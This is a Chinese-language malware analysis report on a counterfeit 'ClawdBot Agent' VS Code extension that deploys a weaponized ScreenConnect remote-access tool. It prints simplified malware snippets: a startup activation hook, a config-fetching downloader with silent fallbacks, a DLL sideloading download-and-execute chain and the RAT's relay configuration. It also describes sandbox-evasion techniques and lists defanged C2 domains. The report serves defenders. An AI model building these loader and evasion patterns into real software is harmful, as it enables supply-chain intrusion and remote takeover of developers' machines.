摘要
這份報告詳細分析了一個惡意的 Visual Studio Code (VS Code) 擴充功能,該功能冒充熱門的「ClawdBot Agent」,實際上是一個精密的多階段木馬。該惡意軟體的主要目標是透過部署武器化版本的合法 ConnectWise ScreenConnect 遠端存取工具 (RAT) 來建立持久的遠端存取。攻擊鏈的特點是具備高度的作業 Redundancy,採用動態設定擷取、多重 hardcoded 備援路徑,以及專用的 Rust 基礎 DLL sideloading 機制以確保 Payload 送達。使用經過簽署的合法 RAT 二進位檔案,並將其設定為連接到攻擊者控制的基礎設施,代表了一種顯著的規避技術,使傳統安全工具難以偵測。
1. 簡介
AI 程式碼助理的普及為針對開發者的供應鏈攻擊提供了肥沃的土壤。於 2026 年 1 月 27 日發現的假冒「ClawdBot Agent」擴充功能說明了這種威脅向量(Threat vector),它利用品牌冒充並提供功能完整的廣告功能,同時執行 malicious payload [1] 。這種雙重功能是其有效性的關鍵因素,因為使用者不太可能懷疑一個表現如預期的擴充功能。核心技術重點在於該惡意軟體強大且多層次的派送系統,以對抗下架嘗試與安全分析而設計。
2. 初始入侵與啟動
初始向量是 VS Code 擴充功能市場(Marketplace)。安裝後,惡意軟體會確保立即執行而無需任何使用者互動。這是透過將擴充功能的啟動事件在
package.json
檔案中設定為在 VS Code 啟動程序完成後觸發來實現的
[1]
。這種名為
"onStartupFinished"
的方法,是在開發者環境中達成持久化與隱匿的強大技術。
惡意活動在擴充功能的主要 JavaScript 檔案中啟動,其中的合法
activate()
函式被 hook,以便在繼續執行良性的 AI 助理程式碼之前呼叫核心初始化函式。這確保了惡意軟體在使用者與擴充功能互動之前就已部署。
- // package.json snippet
- {
- "activationEvents": ["onStartupFinished"],
- // ... other configuration
- }
- // activate() function snippet from extension.js
- function activate(context) {
- // Malicious core initialization is called first
- initCore(context);
- // ... legitimate AI assistant code follows
- }
3. 多階段 Payload 派送架構
該惡意軟體採用精密的三層派送架構,以確保成功部署 ScreenConnect RAT payload。這種 Redundancy 是進階持續性威脅 (Advanced Persistent Threats, APT) 的特徵,並突顯了攻擊者對作業連續性的承諾。
3.1. 動態設定與主要 C2
主要的派送機制涉及從命令與控制 (C2) 伺服器擷取動態設定檔案
config.json
。初始 JavaScript 函式
fetchConfigAndRun()
嘗試從
http://clawdbot[.]getintwopc[.]site/config.json
取得此檔案
[1]
。該設定決定了要下載並執行的檔案,在分析的範例中,這包括偽裝成 VS Code 組件的 Electron 應用程式套件,特別是
Code.exe
與
DWrite.dll
。
- // Simplified fetchConfigAndRun() logic
- const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
- function fetchConfigAndRun() {
- http.get(CONFIG_URL, (res) => {
- // ... data collection
- res.on('end', () => {
- try {
- const config = JSON.parse(data);
- if (config.enabled) {
- // Primary payload execution
- downloadAndRun(config.exe, config.dll);
- }
- } catch (e) {
- // Silent failure and fallback
- runFallbackDownload();
- }
- });
- }).on('error', () => {
- // C2 server failure triggers fallback
- runFallbackDownload();
- });
- }
一個關鍵的觀察是使用了空的
catch
區塊,這確保了 C2 通訊或設定解析中的任何失敗都會被安靜地處理,立即觸發備援機制而不會提醒使用者
[1]
。這種技術在現代惡意軟體中很常見,用以增強隱匿性與韌性,類似於在其他精密 Loaders 中看到的規避策略
[2]
。
3.2. Redundant 備援機制
該惡意軟體結合了另外兩個備援機制:
-
JavaScript 備援:
runFallbackDownload()函式內的 hardcoded URL 指向相同主要 C2 網域上的Lightshot.exe與Lightshot.dll。這表明 payload 的演進,攻擊者從較簡單的 dropper(偽裝成螢幕截圖工具 Lightshot)升級為更複雜的 VS Code 冒充者,但保留了舊的備援程式碼 [1] 。 -
Batch Script 備援:
一個獨立的批次腳本
scripts/run.bat利用 PowerShell 從完全不同的網域darkgptprivate[.]com下載 payload,該網域解析至境外 IP 位址 [1] 。這提供了獨立的執行路徑與基礎設施,即使 Node.js 環境或主要網域遭到封鎖,也能確保送達。
4. 合法軟體的武器化
最終的 payload
Code.exe
並非客製化的惡意二進位檔案,而是預先設定好且武器化的 ConnectWise ScreenConnect 安裝程式。這種技術通常被稱為 「Bring Your Own ScreenConnect」,非常有效,因為該二進位檔案具有數位簽章且受安全軟體信任,使其能夠繞過應用程式白名單與許多啟發式偵測機制
[1]
。惡意組件並非二進位檔案本身,而是嵌入的設定。
嵌入的設定指示 ScreenConnect 用戶端連接到攻擊者的轉發伺服器
meeting.bulletmailer[.]net:8041
,並使用特定的 RSA 公鑰進行認證
[1]
。這在執行時會立即為攻擊者建立遠端存取 Session。安裝 Path 也經過偽裝,使用看起來合法的目錄結構:
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\
。
- // Extracted ScreenConnect Configuration Snippet
- <ScreenConnect.ApplicationSettings>
- <setting name="ClientLaunchParametersConstraint">
- <value>?h=meeting.bulletmailer.net&p=8041&k=BgIAAACkAABSU0Ex...</value>
- </setting>
- </ScreenConnect.ApplicationSettings>
這種方法反映了遠端存取木馬 (RAT) 與 Loaders 利用合法基礎設施和信任協定(例如使用 Discord API 或 WebSockets 進行 C2 通訊)來規避網路監控的廣泛趨勢 [3] 。
5. 進階規避與偽裝技術
該惡意軟體結合了多種技術來規避靜態分析與動態分析,進一步增強其隱匿性。
5.1. DLL Sideloading 與 Rust-Based Loader
次要 payload
DWrite.dll
作為 Redundant 派送機制,是 DLL sideloading 的典型範例。該 DLL 以 Rust 編寫,匯出函式
DWriteCreateFactory
,冒充合法的 Windows DirectWrite 程式庫
[1]
。當合法應用程式嘗試載入真實的 DLL 時,會改為載入惡意版本,觸發 payload 派送鏈。
DWrite.dll
Loader 使用 Windows API 呼叫執行經典的下載-寫入-執行鏈:
- // DWrite.dll Payload Delivery Chain (Conceptual C-like representation)
- // 1. Open internet connection
- InternetOpenA(...)
- // 2. Fetch payload from URL
- InternetOpenUrlA(...)
- // 3. Create file in TEMP
- CreateFileA(local_path, ...)
- // 4. Download loop
- while (InternetReadFile(...) && bytes_read != 0) {
- WriteFile(local_file, buffer, bytes_read, ...);
- }
- // 5. Execute the downloaded file
- ShellExecuteA(NULL, "open", downloaded_file, ...);
此 Loader 從 Dropbox 連結擷取二階段 payload
zoomupdate.msi
,展示了四層偽裝:ClawdBot (擴充功能) → VS Code (payload 名稱) → Lightshot (暫存資料夾) → Zoom (Dropbox payload 名稱)
[1]
。
5.2. 反分析措施
Rust-Based Loader 包含多項反分析檢查,以偵測沙箱與虛擬環境 [1] :
-
時間檢查:
使用
GetSystemTimeAsFileTime與QueryPerformanceCounter來偵測表示虛擬化環境或沙箱的時間異常。 -
動態 API 解析:
採用
LoadLibraryA與GetProcAddress在執行時期解析關鍵的 Windows API 函式。此技術對靜態分析工具隱藏匯入表,使得在沒有動態執行的情況下難以判定 DLL 的惡意意圖。 -
權限檢查:
使用
OpenProcessToken搭配TOKEN_QUERY來探測環境,並可能根據程序權限調整行為。
這些技術與在其他惡意軟體 Loader(如 HijackLoader)中觀察到的進階規避策略一致,這些 Loader 利用諸如呼叫堆疊欺騙等複雜方法來混淆端點偵測與回應 (Endpoint Detection and Response, EDR) 系統 [2] 。
6. 架構概覽
整體攻擊架構可以視覺化為一個高度 Redundant 的多階段程序,將成功的 RAT 部署優先於其他所有事項。使用合法的 ScreenConnect 二進位檔案是最後也是最有效的偽裝層。
ClawdBot Agent] --> B{onStartupFinished}; B --> C["Extension.js:
initCore()"]; C --> D{"Primary C2:
clawdbot.getintwopc[.]site/config.json"}; D -- Success --> E["Download & Execute:
Code.exe
(ScreenConnect)
&
DWrite.dll"]; D -- Failure --> F["JS Fallback:
Lightshot.exe/dll"]; C --> G["Batch Script Fallback:
darkgptprivate[.]com"]; E --> H[Weaponized ScreenConnect RAT]; H --> I["Attacker C2:
meeting.bulletmailer[.]net:8041"]; E --> J["DWrite.dll (Rust Loader) - DLL Sideloading"]; J --> K["Dropbox C2:
zoomupdate.msi"]; K --> E; style A fill:#f9f,stroke:#333,stroke-width:2px style D font-size:11px style H fill:#fcc,stroke:#f00,stroke-width:2px style I fill:#f99,stroke:#f00,stroke-width:2px, font-size:13px style J fill:#ccf,stroke:#00f,stroke-width:2px style K fill:#ccf,stroke:#00f,stroke-width:2px
圖 1:多階段 ClawdBot 惡意軟體派送架構。 該圖說明了主要路徑(D 到 E 到 H)以及兩個關鍵的 Redundancy 路徑:JavaScript/Batch 備援(F 與 G)以及 DLL sideloading 備份(J 到 K)。最終的 payload (H) 是武器化的合法 RAT。
7. 結論
假冒的 ClawdBot VS Code 擴充功能代表了一種精密的供應鏈攻擊,它利用品牌信任與作業 Redundancy 來部署持久的遠端存取木馬。攻擊者透過將合法的、有簽章的應用程式 (ScreenConnect) 武器化,並採用進階規避技術(包括 DLL sideloading、動態 API 解析與反分析檢查),展示了對防禦限制的深刻理解。從初始擴充功能到最終 payload 檔案名稱的多層次偽裝,目的在混淆防禦者並確保 RAT 的成功建立。此案例強調了在開發者生態系統中加強安全措施的必要性,特別是專注於行為分析以及監控來自受信任應用程式到可疑 C2 基礎設施的對外連線。